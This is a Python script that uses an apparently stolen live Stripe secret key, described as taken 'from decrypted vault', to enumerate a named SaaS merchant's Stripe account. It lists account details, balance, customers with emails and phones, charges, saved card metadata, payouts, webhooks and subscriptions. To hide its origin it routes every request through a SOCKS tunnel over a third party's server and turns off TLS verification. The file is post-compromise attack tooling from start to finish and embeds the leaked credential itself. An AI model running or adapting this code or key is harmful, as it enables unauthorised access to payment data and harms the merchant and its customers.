#!/usr/bin/env python3
"""
Stripe L1/L2 enumeration via SSH SOCKS tunnel through 188.245.117.146.
Read-only: list customers, charges, balance, events, payment methods.
All requests routed through Hetzner AS24940 (CamelSoft's own server IP).
"""
import json
import requests
import sys

# sk_live from decrypted vault
SK = "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"

# SOCKS proxy through CamelSoft's own server
PROXIES = {
    "http": "socks5h://127.0.0.1:19090",
    "https": "socks5h://127.0.0.1:19090",
}

HEADERS = {
    "Authorization": "Bearer " + SK,
    "Stripe-Version": "2024-12-18.acacia",
}

def stripe_get(path, params=None):
    url = "https://api.stripe.com" + path
    try:
        resp = requests.get(url, headers=HEADERS, params=params, proxies=PROXIES, timeout=30, verify=False)
        try:
            data = resp.json()
        except:
            data = {"raw": resp.text[:500]}
        return resp.status_code, data
    except Exception as e:
        return -1, {"error": str(e)}

print("=" * 70)
print("STRIPE L1/L2 ENUMERATION (read-only)")
print("Account: acct_1TskJsBTSPSv3yWC (Zytoon/Ordrat SaaS)")
print("Via: SOCKS tunnel 188.245.117.146 (AS24940 Hetzner)")
print("=" * 70)

# 1. Account info
print("\n[1] ACCOUNT INFO")
status, data = stripe_get("/v1/accounts")
if status == 200:
    print("  id: " + str(data.get("id")))
    print("  business_name: " + str(data.get("business_name", data.get("settings",{}).get("business_name",""))))
    print("  country: " + str(data.get("country")))
    print("  default_currency: " + str(data.get("default_currency")))
    print("  business_type: " + str(data.get("business_type")))
    print("  email: " + str(data.get("email")))
    print("  charges_enabled: " + str(data.get("charges_enabled")))
    print("  payouts_enabled: " + str(data.get("payouts_enabled")))
    print("  details_submitted: " + str(data.get("details_submitted")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 2. Balance
print("\n[2] BALANCE")
status, data = stripe_get("/v1/balance")
if status == 200:
    available = data.get("available", [])
    pending = data.get("pending", [])
    print("  Available:")
    for b in available:
        print("    " + str(b.get("amount")) + " " + str(b.get("currency")))
    print("  Pending:")
    for b in pending:
        print("    " + str(b.get("amount")) + " " + str(b.get("currency")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 3. Customers
print("\n[3] CUSTOMERS")
status, data = stripe_get("/v1/customers", {"limit": 100})
if status == 200:
    customers = data.get("data", [])
    print("  Total customers returned: " + str(len(customers)))
    print("  has_more: " + str(data.get("has_more", False)))
    for c in customers:
        print("  ---")
        print("  id: " + str(c.get("id")))
        print("  email: " + str(c.get("email")))
        print("  name: " + str(c.get("name")))
        print("  phone: " + str(c.get("phone")))
        print("  currency: " + str(c.get("currency")))
        pm = c.get("invoice_settings", {}).get("default_payment_method")
        print("  default_payment_method: " + str(pm))
        print("  created: " + str(c.get("created")))
        # Check for saved payment methods
        cards = c.get("default_source") or ""
        print("  default_source: " + str(cards))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 4. Charges
print("\n[4] CHARGES")
status, data = stripe_get("/v1/charges", {"limit": 100})
if status == 200:
    charges = data.get("data", [])
    print("  Total charges returned: " + str(len(charges)))
    print("  has_more: " + str(data.get("has_more", False)))
    for ch in charges:
        print("  ---")
        print("  id: " + str(ch.get("id")))
        print("  amount: " + str(ch.get("amount")) + " " + str(ch.get("currency")))
        print("  status: " + str(ch.get("status")))
        print("  paid: " + str(ch.get("paid")))
        print("  refunded: " + str(ch.get("refunded")))
        print("  amount_refunded: " + str(ch.get("amount_refunded")))
        billing = ch.get("billing_details", {})
        print("  card_last4: " + str(billing.get("card", {}).get("last4", "N/A") if billing else "N/A"))
        print("  card_brand: " + str(billing.get("card", {}).get("brand", "N/A") if billing else "N/A"))
        print("  card_country: " + str(billing.get("card", {}).get("country", "N/A") if billing else "N/A"))
        print("  customer: " + str(ch.get("customer")))
        print("  created: " + str(ch.get("created")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 5. Payment methods (saved cards)
print("\n[5] PAYMENT METHODS")
status, data = stripe_get("/v1/payment_methods", {"limit": 100})
if status == 200:
    pms = data.get("data", [])
    print("  Total payment methods: " + str(len(pms)))
    print("  has_more: " + str(data.get("has_more", False)))
    for pm in pms:
        print("  ---")
        print("  id: " + str(pm.get("id")))
        print("  type: " + str(pm.get("type")))
        card = pm.get("card", {})
        if card:
            print("  brand: " + str(card.get("brand")))
            print("  last4: " + str(card.get("last4")))
            print("  exp_month: " + str(card.get("exp_month")))
            print("  exp_year: " + str(card.get("exp_year")))
            print("  country: " + str(card.get("country")))
        print("  customer: " + str(pm.get("customer")))
        print("  created: " + str(pm.get("created")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 6. Events (audit log)
print("\n[6] RECENT EVENTS")
status, data = stripe_get("/v1/events", {"limit": 20})
if status == 200:
    events = data.get("data", [])
    print("  Total events returned: " + str(len(events)))
    for ev in events:
        print("  ---")
        print("  id: " + str(ev.get("id")))
        print("  type: " + str(ev.get("type")))
        print("  created: " + str(ev.get("created")))
        print("  livemode: " + str(ev.get("livemode")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 7. Payouts
print("\n[7] PAYOUTS")
status, data = stripe_get("/v1/payouts", {"limit": 20})
if status == 200:
    payouts = data.get("data", [])
    print("  Total payouts: " + str(len(payouts)))
    for po in payouts:
        print("  ---")
        print("  id: " + str(po.get("id")))
        print("  amount: " + str(po.get("amount")) + " " + str(po.get("currency")))
        print("  status: " + str(po.get("status")))
        print("  method: " + str(po.get("method")))
        print("  destination: " + str(po.get("destination")))
        print("  arrival_date: " + str(po.get("arrival_date")))
        print("  created: " + str(po.get("created")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 8. Webhooks
print("\n[8] WEBHOOK ENDPOINTS")
status, data = stripe_get("/v1/webhook_endpoints", {"limit": 20})
if status == 200:
    hooks = data.get("data", [])
    print("  Total webhooks: " + str(len(hooks)))
    for wh in hooks:
        print("  ---")
        print("  id: " + str(wh.get("id")))
        print("  url: " + str(wh.get("url")))
        print("  enabled_events: " + str(wh.get("enabled_events")))
        print("  status: " + str(wh.get("status")))
        print("  api_version: " + str(wh.get("api_version")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 9. Products/Prices
print("\n[9] PRODUCTS")
status, data = stripe_get("/v1/products", {"limit": 20, "active": "true"})
if status == 200:
    products = data.get("data", [])
    print("  Total active products: " + str(len(products)))
    for p in products:
        print("  ---")
        print("  id: " + str(p.get("id")))
        print("  name: " + str(p.get("name")))
        print("  type: " + str(p.get("type")))
        print("  active: " + str(p.get("active")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

# 10. Subscriptions
print("\n[10] SUBSCRIPTIONS")
status, data = stripe_get("/v1/subscriptions", {"limit": 20, "status": "all"})
if status == 200:
    subs = data.get("data", [])
    print("  Total subscriptions: " + str(len(subs)))
    for s in subs:
        print("  ---")
        print("  id: " + str(s.get("id")))
        print("  status: " + str(s.get("status")))
        print("  customer: " + str(s.get("customer")))
        items = s.get("items", {}).get("data", [])
        for item in items:
            print("  price: " + str(item.get("price", {}).get("id")))
            print("  quantity: " + str(item.get("quantity")))
        print("  current_period_end: " + str(s.get("current_period_end")))
else:
    print("  ERROR: " + str(status) + " " + json.dumps(data)[:300])

print("\n" + "=" * 70)
print("ENUMERATION COMPLETE")
print("=" * 70)
